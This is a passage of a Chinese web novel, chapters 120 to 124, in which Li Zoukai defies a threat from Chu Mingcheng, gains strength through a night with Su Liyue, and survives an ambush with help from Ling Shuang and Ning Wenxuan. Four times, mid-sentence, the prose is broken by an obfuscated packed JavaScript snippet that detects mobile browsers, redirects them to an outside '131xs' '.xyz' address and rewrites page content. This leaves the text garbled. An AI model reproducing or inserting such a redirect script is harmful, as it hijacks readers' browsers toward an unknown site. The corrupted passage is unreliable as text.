李奏凯笑得更欢了:“虽说能给夫人您垫背,我倒也不亏,可我这日子还过得美滋滋呢,可不想死,您就瞧好吧!” 楚夫人被他这带着点痞气的调侃说得耳根微红,赶紧往后退了半步拉开些距离,轻咳一声应了个“嗯”字,赶紧离开房间。 李奏凯看着她这难得露出几分娇俏的模样,忍不住嘿嘿笑了,小声嘀咕了句:“夫人这模样,倒比平日里板着脸好看多了。” 第120章 撕破脸了 第一百二十章 撕破脸了 当天傍晚,日头刚擦着屋檐往下沉,慕容彪就颠颠地寻到了绣房,一见面就拍着李奏凯的胳膊直嚷嚷: “兄弟,你今天可真够厉害!抓内鬼那出干得漂亮啊!” 李奏凯正给屏风最后检查线头,闻言挑眉:“咋?彪哥这是来给我庆功?嘿嘿?” 一副看穿他肚子里花花肠子的姿态。 慕容彪果然搓着手,脸上堆着点不怀好意的笑:“可不是嘛!兄弟忙了一天,得松快松快!走,哥带你去追凤楼,那儿新来俩姑娘,水嫩得很,嗓子甜得能掐出蜜来……” “嗓子甜还是身体甜?哈哈……” 李奏凯笑了笑,才斜他一眼:“你小子就这点出息?除了姑娘没别的念想了?” 嘴上这么说,眼里却带着点促狭,“再说了,去那种地方,你兜里的银子够不够?别到时候让我给你垫。” “嗨,放心!” 慕容彪拍着胸脯,“今儿说好我请客!保证让你舒坦!不管你叫多少姑娘,慕容公子买单!” 饶是他那么好爽,李奏凯还是有点犹豫。 只是他死缠烂打拽李奏凯的胳膊,“走呗走呗,就当陪我解解闷,也给我个机会,犒劳犒劳楚家的大功臣!” 李奏凯被他磨得没法子,想着这死胖子之前确实帮过忙,去追凤楼放松半宿也无妨,便撂下手中活儿:“行吧行吧,就陪你去晃一圈,可说好,不许闹太晚。” “好嘞!” 慕容彪答应很爽,两人便勾肩搭背往追凤楼去。 刚进事先订好的包厢,李奏凯脸上的笑就僵住了! 只见楚明诚正端坐在桌边喝茶,见他们进来,眼皮都没抬一下。 李奏凯心里“咯噔”一沉,转头看向慕容彪。 慕容彪脸上的胖肉都挤到了一块儿,神色尴尬又为难,凑到他耳边压低声音:“兄弟对不住了……二爷他……他跟我是老交情,我实在抹不开面,他还说……说我不把你请来,就……” 后面的话没敢说,但那副“我也怕他”的模样,李奏凯瞬间就懂了。 合着是这老狐狸拿捏了慕容彪,才设了这么个鸿门宴。 楚明诚这才放下茶盏,脸上扯出个皮笑肉不笑的表情,带着淡淡杀气,对着李奏凯抬手: “李先生,恭喜啊,今儿又帮楚家立了大功一件!快请坐,赏脸喝杯茶?” 话音刚落,就有两位穿着暴露的姑娘扭着腰走过来,一左一右想往李奏凯怀里凑。 李奏凯往旁边挪了挪,避开两人的手,笑着开口:“楚二爷客气了!不过今儿既然是爷们儿间说事,就不必劳烦姑娘们了吧?” 楚明诚也不纠缠,只抬了抬眼皮。 那两位姑娘识趣,立刻收了手,摇着帕子退出了包厢。 李奏凯这才在楚明诚对面坐下,脸上依旧挂着笑,心里却早竖起了防备! 白天他才抓了内奸,晚上这老狐狸就突然请他来这种地方,准没好事。 包厢里的茶还冒着热气,楚明诚端着茶盏的手指却在慢慢收紧,釉色的杯沿被捏得泛白。 他也没绕弯子,直勾勾盯着李奏凯:“李先生倒是好手段,收了我一千二百两银票,转头就把我安在楚家的人全给拔了——这就是你给我办的事?” 李奏凯端起桌上的冷茶抿了一口,嘿嘿笑着打圆场:“二爷这话可就见外了!您给的银子我没忘,不都拿去请楚家的人吃了?” “您想啊,人心得笼络着,我替您把底下人哄高兴了,往后您办事不也方便?再说了,那些人笨手笨脚的,差点把屏风烧了,我这是帮您清理门户呢。” “清理门户?” 楚明诚猛地一拍桌面,茶盏里的水溅出大半,“我看你是帮着那寡妇清理我!李奏凯,你他妈别给脸不要脸!” 他把手里的茶盏重重一顿,目光像淬了冰,“现在给你个机会!跪下,给我斟杯茶赔个罪,再把那一千二百两银票给我还回来。这事就算翻过去,你要是肯回头替我办事,之前许你的好处照样算数。” 他顿了顿,语气阴狠得像毒蛇吐信:“不然,我和赵家联手,定让你在金陵死无葬身之地,连收尸的人都找不到!” 李奏凯捏着茶杯的手指紧了紧,后背确实窜起一丝凉意! 楚明诚和赵家勾结,他是知道的,这两家联手,他确实不好应付。 可他还是慢慢放下茶杯,直着腰没动,脸上的笑淡了些,却带着股硬气:“二爷说笑了!我李奏凯虽说不算啥大人物,但也知道‘跪天跪地跪父母’,跪人讨饶的事,确实干不来。” 他抬眼迎上楚明诚的目光:“至于银票,早散光了;楚家待我不薄,背信弃义的事,我也干不来!您要是真容不下我,大可以试试,看看能不能让我死得那么容易。” “好!好得很!” 楚明诚被他这番话彻底激怒,猛地一拍桌面,茶盏“哐当”翻倒在地,茶水混着碎瓷片溅了一地。 他指着李奏凯的鼻子,声音陡然拔高,“敬酒不吃吃罚酒!真当我楚明诚拿你没办法?” 慕容彪在旁边早坐不住了,赶紧挪过去打圆场:“二爷,奏凯兄弟,有话好好说,别……别动火啊……” “滚!” 楚明诚正憋着火,反手就推了慕容彪一把。 慕容彪本就胖,没防备被推得踉跄着往后倒,“咚”一声摔在地上,下巴磕在桌腿上,顿时渗出了血,疼得他嗷嗷直哼。 李奏凯瞳孔一缩! 刚才楚明诚那一下又快又狠,手上的力道绝不像个常年养尊处优的老爷。 这家伙竟是个练家子?武力值怕是不比自己差。 楚明诚没看地上的慕容彪,只死死盯着李奏凯,牙缝里挤出话:“你给我等着!不出三日,我定让你知道,背叛我的下场!!” 说完甩了甩袖子,头也不回地出了包厢。 包厢里只剩李奏凯和捂着下巴哼哼的慕容彪。 李奏凯蹲下身扶他,心里却沉得像坠了块石头。 楚明诚这是彻底撕破脸了! 以前还只是暗地里使绊子,现在连“跪下赔罪”的狠话都撂出来了,显然是没了回旋的余地,是真要下死手了。 自己这点武力值,对上他的人怕是讨不到好,往后走一步都得提着心才行。 “对不住啊,兄弟……” 慕容彪含糊着道歉,脸上又是血又是泪,“我实在……实在没敢跟他犟……他刚才那眼神,跟要吃人似的……” 李奏凯摆摆手,扶他坐起来:“不怪你,是我低估这老狐狸了。” 他握了握拳,心想得赶紧想办法提升武力值才行,不然等不到一百天阳寿尽,怕是就会被楚明诚给干掉! 这鸿门宴算是把路走死了,接下来,怕是只能硬拼了! 第121章 体贴的大娘子 第一百二十一章体贴的大娘子 李奏凯哪还有心思在追凤楼耗着,慕容彪却像是没受方才那茬影响,还在琢磨着叫姑娘来唱曲儿。 李奏凯摆摆手,干脆跟他分了道。 临走前,他瞥见墙角伺候的小厮腰间别着把小巧的防身短刀,伸手摸过来掂量了两下。 刀刃虽不算锋利,却也能当个应急的家伙,便给点银子,随手揣进了自己腰间。 从楚明诚摔茶盏那一刻起,他就知道,这事早不是暗地里的小打小闹了,防身的家伙必须弄多点。 出来后,他没回楚家,而是径直往墨香妆坊去。 保不准楚明诚那老狐狸会觉得对付他有点棘手,会绕去拿捏他的软肋——苏璃月和凌霜虽有凌霜在,可她武力值再高,也架不住阴招暗算! 刚走到墨香妆坊门口,手还没碰到门板,背后突然传来一阵极轻的脚步声。 李奏凯头皮一麻,反手就摸出短刀,“噌”地转身对准来人! 刀刃离对方喉咙只差半寸,吓得那人“哎哟”一声往后倒,屁股墩在地上,脸都白了。 “凯……凯哥!是我啊!” 听见宁文轩这带着哭腔的声音,李奏凯才惊出一身冷汗,赶紧收了刀,皱眉低喝:“你小子怎么在这儿?想吓死我?” 宁文轩连滚带爬地起来,拍着胸口直喘气:“我等你一整天了!凯哥你刚那下是真狠,差点把我吓尿了!” 李奏凯没好气地踹了他一脚:“我刚从鸿门宴出来,楚明诚放话要弄死我,能不警惕?” 他简略说了说追凤楼里的事。 宁文轩听完,眼睛反倒亮了:“巧了!我来就是说这事的!” 他凑近了些,压低声音,“我让人盯着张爷那伙人呢,今天手下回来说,听见他们嘀咕要‘铲了凯旋团’,还说……要先把你给除了,说是‘擒贼先擒王’。” 李奏凯眉头拧得更紧,楚明诚和张爷果然勾上了,这是要联手动手了。 正说着,妆坊的门“吱呀”一声开了,苏璃月和凌霜披着外衣走了出来,显然是听见了外面的动静。 苏璃月看见李奏凯腰间的刀,脸色一白:“夫君,出什么事了?” 凌霜也握紧了拳,目光警惕地扫过四周:“是不是有人找来了?” 李奏凯赶紧上前按住两人的手,挤出个安抚的笑:“没事,就是文轩来报个信。先进屋说。” 他拉着两人往里走,脚步比来时沉了不少。 进了屋,李奏凯把楚明诚撕破脸、张爷那边又要准备动手的事一五一十说了。 苏璃月手里的胭脂掉在地上,脸色白了几分:“楚二爷和张爷……他们联手动真格的话,咱们哪扛得住?凯轩团才刚有起色,楚家那边又要赶着出货……” 话没说完,声音里已带了些发颤。 凌霜握着拳站在一旁,眉头紧锁:“他们要动便动,我护着姐姐!只是张爷手下多的是亡命之徒,楚明诚又心思阴狠,怕他们会用龌龊手段。” 她虽然表面强硬,眼神里还是掩不住的担忧。 李奏凯按住两人的手,沉声道:“别慌!他们要动手,咱们就接着,文轩已经盯着张爷那边了,楚家这边我也留了心眼。只是这几日你们别出门,作坊挣钱的事也先缓一缓,安全要紧!” 只等两位娘子点头,李奏凯才从怀里摸出五张银票,递到宁文轩面前:“文轩,这五百两你拿着!” “啊??” 宁文轩低头一看,眼睛瞬间瞪圆了,伸手去接时指尖都带着颤! 他爹虽是巡抚,却是个出了名的清官,他长这么大,还没一次见过这么多现银。 “凯哥……” 他捏着银票,又惊又喜,“你可真是**不露相!出手就这么阔绰?有了这钱,我还怕什么事不成?” 他搞这凯旋团,靠的无非是自己的面子和人脉,手里的银子其实没多少,处处都得抠着算,早憋坏了。 如今握着这五百两,只觉得底气足了大半,连腰杆都直了些。 李奏凯没心思跟他打趣,摆摆手道:“拿着钱赶紧去招兵买马,挑些手脚麻利、靠得住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244784|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,张爷那边怕是快动手了,咱们得先把底子打扎实,随时和他们决战!” “放心!” 宁文轩把银票往怀里一揣,拍着胸脯保证,“有这钱,不出三日,我准给你凑出一队能打的!凯哥你就瞧好吧!” 说完,也顾不上多聊,兴冲冲地转身就走,脚步都比来时轻快了不少。 屋里只剩他们三人,苏璃月沉默了片刻,突然抬手抚上李奏凯的脸颊,指尖轻轻蹭过他紧绷的下颌线,声音柔得像水: “夫君,今夜……你歇在这儿吧。” 李奏凯一愣,就见她眼尾泛红,带着点羞赧又坚定的意味:“我知道……每次与你同寝,你总能有些长进!如今这光景,多一分力气也是好的。” 凌霜在一旁没说话,只是默默转身去吹了灯。 李奏凯赶紧激动地一把公主抱起苏璃月进了房,只留着窗台上一盏小烛,昏黄的光把屋里映得暖融融的。 李奏凯心口一热,伸手将苏璃月揽进怀里。 她的身子软得像云,贴在他怀里时微微发颤,却还是主动仰起脸,唇瓣轻轻蹭过他的喉结。 他低头吻下去,尝到她唇上淡淡的胭脂香,方才在追凤楼攒下的戾气、对楚明诚的提防,竟都在这软香里化了大半。 烛火摇曳着映在帐上,把两道交缠的影子拉得长长的。 苏璃月起初还绷着身子,被他吻得喘不过气时,便软软地靠在他怀里,指尖攥着他的衣襟,像抓住了浮木的小船。 李奏凯放轻了动作,指尖拂过她汗湿的鬓发,听着她在耳边细碎的喘息,只觉得浑身都熨帖得很! 哪怕今夜之后什么都得不到,能抱着这样的暖香软玉,便是**,也够本了。 后半夜烛火熄了,月光从窗棂漏进来,落在苏璃月沉睡的脸上。 她眉头舒展着,嘴角还带着点未散的红。 李奏凯低头吻了吻她的额头,心里软得一塌糊涂。 窗外风声渐起,他却觉得安稳,有她们在,哪怕前路刀山火海,他也得咬牙扛过去! 第122章 背刺两次还能信? 第一百二十二章背刺两次还能信? 第二天一早,李奏凯是被脑子里的系统提示音惊醒的。 【叮!恭喜宿主与苏璃月双修成功,武力值提升至9!】 “9?!” 李奏凯猛地从床上弹起来,动作竟比以往轻快了不少。 他下意识挥了挥拳,风声呼呼,只觉胳膊腿都透着股松快劲,连带着眼神都亮了几分,整个人的气质似乎都比之前利落了些。 他心里却直犯嘀咕: 第一次跟苏璃月双修,武力值从0蹦到2,涨了2点; 第二次跟凌霜虽没涨武力值,第三次再跟苏璃月,又从2蹿到5,涨了3点;这回倒好,直接从5冲到9,涨了4点? 这么算下去,下一次岂不是要涨5点,直奔14去? 他正想逮着系统问个明白,旁边的苏璃月已经被他闹醒了。 苏璃月揉着眼睛坐起来,见他光溜溜地在地上挥拳,脸颊一红,娇嗔着瞪了他一眼:“真是的,就算实力提升了,也不用这么激动吧?还不赶紧把衣服穿上?小心着凉了!” 李奏凯这才回头,一眼就瞥见苏璃月松垮的衣襟下露出的细腻肌肤,晨光落在她脸上,连带着刚醒时的慵懒都透着诱人的柔媚。 他喉头一动,心跳加速,几步扑回床边,捧着她的脸就亲了口:“谢谢娘子!每次跟你恩爱完,我实力都能涨!哈哈!” 至于这到底是啥道理?他到现在都没来得及问清楚系统呢。 苏璃月被他亲得笑出声,伸手捏了捏他的脸颊,带着点撒娇似的打趣:“夫君不光实力高了,连模样都越来越俊了!” “哦?真的?” 李奏凯眼睛一亮,扒拉着床头的铜镜就凑过去。 镜里的人眉峰更挺,眼神更亮,连嘴角的弧度都比以前耐看,确实已经比一般人出挑不少。 他心里嘀咕:这破系统,颜值提升了倒藏着不说,合着只认实打实的武力值? “那是自然。” 苏璃月拢了拢衣襟,“就是……” 她话锋一转,眼里带了点不舍,“你现在就要回楚家了?” “嗯,”李奏凯收起玩笑的心思,摸了摸她的头发,“跟楚夫人说好了,今天要敲定屏风出货的细节,明天就得出货了,半点马虎不得。” 苏璃月赶紧掀被下床,麻利地穿起衣服,一边系腰带一边叮嘱: “夫君实力是提升了,可楚明诚和张爷那边还盯着呢,千万莫要大意!把事情办妥帖了,早点平安回来,我和凌霜都惦挂着你。” “放心。” 李奏凯凑过去又在她耳边啄了口,笑得痞气又笃定,“等我把屏风送了,回来就好好陪你们!再说了,现在我武力值上去了,真遇着事,也能多几分底气不是?” 苏璃月被他逗得耳根发红,推了他一把:“好了,快去穿衣服吧,别耽误了时辰。” 李奏凯应着,转身去拾掇衣物,心里却亮堂得很。 有了这9的武力值,再加上和楚夫人敲定个好计划,明天出货,定能让楚明诚和张爷的算盘落个空。 转个头,李奏凯就赶回楚家,刚进前院就撞见肖管事。 肖管事还是老样子,笑容满面几步迎上来,拱手道:“李先生可算回来了!夫人一早被府衙那边请去问话,临走前特意吩咐,让您去跟明天押运屏风的镖局谈谈细节——听说对方在价钱上突然有些不乐意,您得去敲定才行。” 李奏凯不由得皱了眉:“价钱的事?怎么临到出货前一天才出幺蛾子?莫不是镖局想坐地起价?” 肖管事嘿嘿笑了笑:“这小的就不清楚了,反正夫人是这么交代的,还让小的给您带路,务必谈妥了,明儿一早让他们镖局准时带人来护镖。” 李奏凯心里犯了嘀咕,这么重要的事,夫人怎么偏偏今天才让肖管事来跟自己说? 虽说之前被肖管这笑里藏刀的家伙背刺过两次,但李奏凯瞅他不像是楚明诚的内鬼,毕竟上次抓奸都是他带头的。 可谁能保证这不是楚明诚那老狐狸后来收买的?故意找个由头把自己支出去,好在路上埋伏? 想起娘子的叮嘱,他还是不动声色地瞥了肖管事一眼,假装随口问道:“镖局是哪家?之前不是说早就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244785|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈妥了威远镖局吗?” 肖管事答得干脆:“就是威远镖局!昨儿还好好的,今早镖头突然派人来说,最近路上不太平,要加五十两护镖费才肯接这活。” 李奏凯又问:“夫人去府衙是何事?没说什么时候回来?” “听说是之前那几个奸细押去官府后,府尹大人要问些楚家内部的事,派人来请夫人去做个证。” 肖管事摇摇头,“没说什么时候回来,只说让您先把镖局的事办妥。” 李奏凯再追问:“嗯,那去镖局的路,是走东大街那条近路,还是绕着南城走?” 肖管事愣了愣,随即道:“自然是走东大街近,镖局就在东大街尽头,绕南城反倒远了。” 几句话问下来,肖管事的回答都合情合理,听不出什么破绽。 李奏凯沉吟片刻,觉得或许真是自己多心了,眼下屏风出货要紧,镖局的事确实耽误不得。 “行,那就去看看。” 他点头应下,跟着肖管事往外走。 临出楚家大门时,正好遇上捧着绣线往绣房去的婉儿。 婉儿见他要出门,脚步顿了顿,“凯哥,你不是才回楚家?又要去哪?” “去趟镖局!” 李奏凯也顺口笑答。 “嗯……” 婉儿也猜到他去办什么事,却还是低声提醒道:“凯哥,今早我听厨房的老妈子说,瞧见几个生面孔在府外晃悠,您……您路上最好当心些。” 李奏凯心里一动,冲她点了点头:“嘿嘿,我知道了,多谢婉儿提醒。” 出了楚家门,东大街的风带着点凉意刮在脸上。 李奏凯摸了摸腰间那把从追凤楼带出来的短刀,眼神沉了沉,不管是不是圈套,今日都得打起十二分精神才行。 两人往东大街走,刚过了街角的布庄,前头突然围了群人。 凑近一看,居然是辆运货的马车翻了,大包的棉絮撒了一地,把路堵得严严实实。 “这可咋整?” 肖管事急得直搓手,看着李奏凯说道:“绕南城的话,怕是要耽误时辰!” 第123章 距离死亡只差半步 第一百二十三章距离死亡只差半步 李奏凯瞧了他一眼,又瞥了眼堵死的路口,皱眉道:“那就走西边的窄巷吧,虽偏了点,倒能抄近路。” 肖管事倒也没多想,点头应着就前头带路。 可那窄巷越走越偏,两侧的院墙高得遮了日头,脚下的石板路坑坑洼洼。 李奏凯心里正犯嘀咕,这是自己选的路,不能有问题吧? 哪想到这念头才起,眼角就突然瞥见墙头闪过几道黑影! 还没等他出声,巷口巷尾“噌”地窜出十好几个人,手里都握着明晃晃的刀,二话不说就往他俩扑来。 “不好!” 李奏凯头皮一麻,反手就掐住了肖管事的脖子,一把将人提了起来。 肖管事双脚离地,脸瞬间涨得发紫,手舞足蹈地蹬着腿,眼看就快喘不上气。 “肖管事,**又背叛我!” 李奏凯眼神狠得像淬了冰,“想引我来这儿送死是不是?” “没……没有……” 肖管事拼命咳嗽,脸都白了,“是……是他们突然冒出来的……我不知情啊……” 李奏凯盯着他翻白的眼球,手紧了紧又猛地松了! 现在管不上这家伙,也不想误杀无辜。 肖管事摔在地上,抱着脖子咳得撕心裂肺。 那些**可没给他们磨蹭的功夫,刀风已经劈到了眼前,显然是冲着李奏凯来的,对肖管事熟视无睹! 李奏凯赶紧后侧,摸出腰间的短刀就迎了上去。 这些人显然是练家子,出刀又快又狠,刀刀往要害招呼。 若不是他武力值刚升到9,身手灵便了不少,第一回合就得被劈成两半。 可始终架不住对方人多,三两下就有刀划开了他的胳膊,血“噌”地冒了出来。 “李先生!你等我!我去叫人!” 肖管事连滚带爬地往巷口冲,声音抖得不成样。 李奏凯哪信他的鬼话,这老小子指不定是去报信的,此地不宜久留啊! 他咬着牙周旋,瞅准个空档,矮身躲过迎面的刀,反手用短刀划开了一人的小腿。 趁着那人倒地的空档,他猛地往巷尾冲! 那儿的院墙看着矮些,容易翻出去! 身后的**紧追不舍,刀锋擦着他的后背掠过,割破了衣料,火辣辣地疼。 他纵身跃上院墙,后背又挨了一刀,疼得他眼前发黑。 也顾不上回头看,抱着墙就往下跳,重重摔在地上,嘴里呛出一口血。身后的脚步声越来越近,他只能咬着牙往前跑,慌不择路地钻进了更偏的胡同。 虽然暂时摆脱了,但血顺着胳膊和后背往下淌,滴在地上,一路拖出蜿蜒的红痕! 这要是被追上,怕是真得交代了。 李奏凯一路踉跄着逃,后颈的汗**始终倒竖着,身后的脚步声像附骨之蛆,时远时近。 偏生前头的岔路越走越窄,最后竟只剩一条通往郊外的土路。 两旁是冻得发硬的农田,稀稀落落几户人家的屋子黑灯瞎火,窗纸都蒙着灰,他就算闯进去躲着,怕是不等喘口气,追兵的刀就先架到了屋主脖子上。 “妈的!” 他正慌得手脚发沉,眼角猛地瞥见坡下草丛里露着个黑黢黢的洞口,看着像个废弃的蛇洞,洞口结着层薄蛛网,不算深,但蜷进去藏人足够了。 他也顾不上里头有没有冬眠的蛇,手脚并用地往里钻,膝盖磕在石头上也顾不上疼,缩在角落里才敢喘粗气,牙齿咬得咯咯响: “以前就栽过这种坑,没想到今儿又落难到这地步……上次是把李夯昆那两人捆了扔蛇洞,这回轮到自己钻进来躲着,真是**世道好轮回啊,哈哈……” 时间爬得比伤口的血还慢,天色渐渐沉成墨色。 外面除了风刮过草叶的“沙沙”声,再没别的动静。 李奏凯按了按还在渗血的胳膊,指缝里全是黏腻的血,猜想那些人许是没找对方向,自己得趁黑摸回楚家去,明天屏风出货的事,离了自己盯着,指不定又要出什么岔子。 他咬着牙,小心翼翼地探出头,刚把半个脑袋露在洞外,一道寒光“唰”地劈下来! 那刀风快得带着哨音,李奏凯心猛地一跳,几乎是凭着本能往回缩! 刀锋擦着他的鼻尖掠过,“噌”地劈在洞口的石头上,火星子溅了他一脸,刮得皮肤生疼。 还没等他喘过神,胸口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244786|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又一阵锐痛,终究是慢了半分,刀尖划开皮肉,血“噗”地涌出来,瞬间浸透了衣襟,连呼吸都带着腥气。 这些人绝对不是普通人啊! “还藏?” 冷喝声里,七八个黑影围了上来,手里的刀在昏暗中闪着冷光,刀背都磨得发亮。 人数虽比刚才少了些,可招式更狠,刀刀往要害招呼。 李奏凯本就带伤,这会儿疼得眼前发黑,胳膊上的伤口被冷汗一浸,疼得他指节发白,手里的短刀都快握不住了。 他心里门儿清,要是没受伤,凭着9的武力值或许还能拼个出路,现在浑身是伤,每挡一下都像骨头要裂开。 又一刀劈向面门时,他眼前都开始冒金星,几乎要闭上眼认命,却猛地听见“砰”一声闷响,那劈来的刀竟被一脚踢得脱手而飞,“哐当”砸在远处的石头上! 李奏凯顿时恢复点精神,只见一道窈窕的身影踩着月光从天而降,落在他身前。 她手里的软剑“噌”地出鞘,剑光裹着寒气扫开围上来的人,剑风里还带着她惯有的冷意: “你伤重,别乱动了!” “凌霜?” 李奏凯看着那熟悉的背影,听着这熟悉的声音,又惊又喜,疼得发颤的声音里都带了点劫后余生的软! 刚才那刀再快半分,他怕是真要交代在这蛇洞边了。 李奏凯和凌霜背靠背挡下一轮刀光,两人肩头都沾了血。 凌霜一招砍断一个**小腿,又反手用剑挑开刺向李奏凯后心的刀,才喘着气问:“还能挺住?” 李奏凯咧嘴笑,疼得倒抽冷气也不忘贫嘴:“二娘子都来了,就算快散架也得硬挺着啊!” 他顿了顿,压着声问,“你咋会来这儿?” “肖管事。”凌霜挥剑逼退两人,声音冷脆,“方才他跌跌撞撞跑到墨香妆坊,满头汗说你在半路遇了刺杀,还说瞧见追杀的人往郊外去了,我才寻过来的。” “肖管事?” 李奏凯一愣,手里的刀都慢了半分。 他方才还认定是这老小子卖了自己,怎么反倒跑去报信了?难道真是冤枉他了? 还是说……那家伙想把凌霜也引过来一起灭口? 第124章 休伤我大哥! 第一百二十四章休伤我大哥! 李奏凯正拧着眉琢磨,就听凌霜又道: “他来的时候胳膊还在流血,说是方才护着你跑时被划的,还催着我带些伤药,说你定是受了重损。” 这话倒不像是作假。李奏凯心里疑云散了大半,咬着牙挥刀劈开迎面的攻击:“先别管这些,解决了眼前的再说!” 两人合力往前冲,凌霜的剑快得像风,专挑敌人手腕脚踝招呼,李奏凯就仗着刚涨的武力值硬扛,虽狼狈却也把那七八人逼得连连后退! 末了,凌霜一剑刺穿为首那人的肩头,喊了声“走”,拉着李奏凯就往暗处跑。 刚拐过坡,李奏凯腿一软就往下栽! 失血太多,实在撑不住了。 幸好凌霜眼疾手快,一把揽住他的腰。 李奏凯靠在她怀里,鼻尖蹭着她胸口的冷香,手还不老实往她腰下捏了捏,含糊道:“嗯……好软。” “你——” 凌霜脸一红,抬手就“呸”了一声:“都这时候了,还没正经!” “嘿嘿,”李奏凯疼得龇牙还笑,“就是这样才能激发我的求生欲嘛……” 凌霜瞪他一眼,抬手在他胳膊伤口上不轻不重地拍了下。 “嗷——!” 李奏凯疼得直抽气,眼泪都快出来了。 凌霜挑眉:“这样,求生欲够重了?” 李奏凯这才蔫了,心里嘟囔着“二娘子真招惹不得”,刚还觉得劫后余生带点甜,转眼就被打回原形。 可这欢快没撑片刻,远处突然传来杂乱的脚步声,比刚才来的人还多!李奏凯和凌霜对视一眼,都看见对方眼里的凝重。 敢情方才那波只是前哨,这才是主力? 冷汗“唰”地从两人额角冒出来,夜风刮过,后背凉得像浇了冰水。 李奏凯攥紧手里的短刀,指节发白,心里暗笑:“呵呵,这下,怕是要大结局了!” 两人正攥着兵器硬撑,眼看刀光又要劈到眼前,身后突然传来一阵震天响的喊杀声。 不是追兵的动静,倒像是……有大队人马冲来了? 李奏凯和凌霜齐齐回头,借着月光一看,心都跟着颤了颤。 来的足有好几十人,手里挥舞着刀叉棍棒,黑压压一片堵在路口,竟是对方的好几倍! “完了……” 李奏凯苦笑一声,往凌霜怀里又靠了靠,“为了杀我,竟出动这么大阵仗?这么死倒也不算冤,够排面,哈哈……” 凌霜白他一眼,不过心里好感倒是升了,这男人看着狡猾,倒不是贪生怕死之辈! 话音刚落,就听人群里爆一声喊:“休要伤我大哥!兄弟们冲啊!护着凯哥!” 那声音耳熟得很,居然是…… 宁文轩?! 李奏凯猛地瞪圆了眼,就见宁文轩举着根铁棍冲在最前头,身后的人跟着嗷嗷叫着扑上来。 那些**本就被李奏凯和凌霜耗得没了力气,见这阵仗哪还敢恋战?对视一眼,虚晃一招就想往后退。 “别让他们跑了!” 宁文轩喊得更凶,几十人立刻围上去堵截。 **们顾不上追杀李奏凯,只想突围,乱糟糟打了几下,见冲不出去,竟丢下两个被打伤的同伴,猫着腰钻进草丛逃了。 直到人群散去些,李奏凯才彻底松了劲,真真切切趴在凌霜身上,连抬手的力气都没了。 凌霜瞪他一眼,却没推开,因为他脸色白得像纸,嘴唇都泛着青,显然是到了极限。 宁文轩跑过来,见他这模样急得直搓手:“凯哥!你咋样?伤得重不重?” 李奏凯喘了半天才缓过劲,哑着嗓子问:“你咋来了?这……这到底是咋回事?” 他心里直犯嘀咕:难道做自己真有啥主角光环?这节骨眼上竟能天降救兵? “是肖管事!” 宁文轩蹲下身,赶紧解释,“我今儿刚招了批兄弟,本想带去给你瞧瞧,刚到墨香妆坊,就见苏姐姐急得直转,说凌霜姐姐听肖管事报信,说你**往郊外跑了,已经先来寻你了,还催着我们赶紧带兄弟过来支援。” “那你们咋找到这儿的?” 李奏凯盯着他追问,这郊外岔路多,总不能是瞎撞的。 凌霜轻哼一声,眼神里藏着点不易察觉的骄傲:“是姐姐吩咐的。出门前她让我一路留记号,说她会想办法找人来援。” 李奏凯这才恍然,苏璃月心思细,凌霜又惯会追踪探路,留记号这事倒合情合理,是他急糊涂了没往这想。 他正想松口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244787|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头却一阵发晕,眼瞅着就要栽下去。 凌霜赶紧扶紧他:“撑不住就先回去,有话回头说。” “别……” 李奏凯猛地攥住她的手,抬眼看向不远处。 那儿躺着个**,一条小腿被凌霜刚才用剑切断了,没来得及逃,正捂着伤口哼哼。 “先审他。” 李奏凯的声音哑得厉害,眼神却透着股狠劲,“问清楚是谁派来的。” 哪怕心里早猜到是楚明诚和张爷,他也得问个明白! 这些**出手狠辣,招式带着股章法,不像是寻常地痞,倒像是受过专门训练的。 而且……他还得弄清楚,肖管事到底是不是又背刺了他,不查清楚,他心痒难耐! “好嘞!” 宁文轩答应下来,却先扭头冲身后的几十号人扬了扬下巴:“都愣着干啥?叫凯哥!” “凯哥!” 几十号人齐声喊,声音震得草叶都颤了颤。 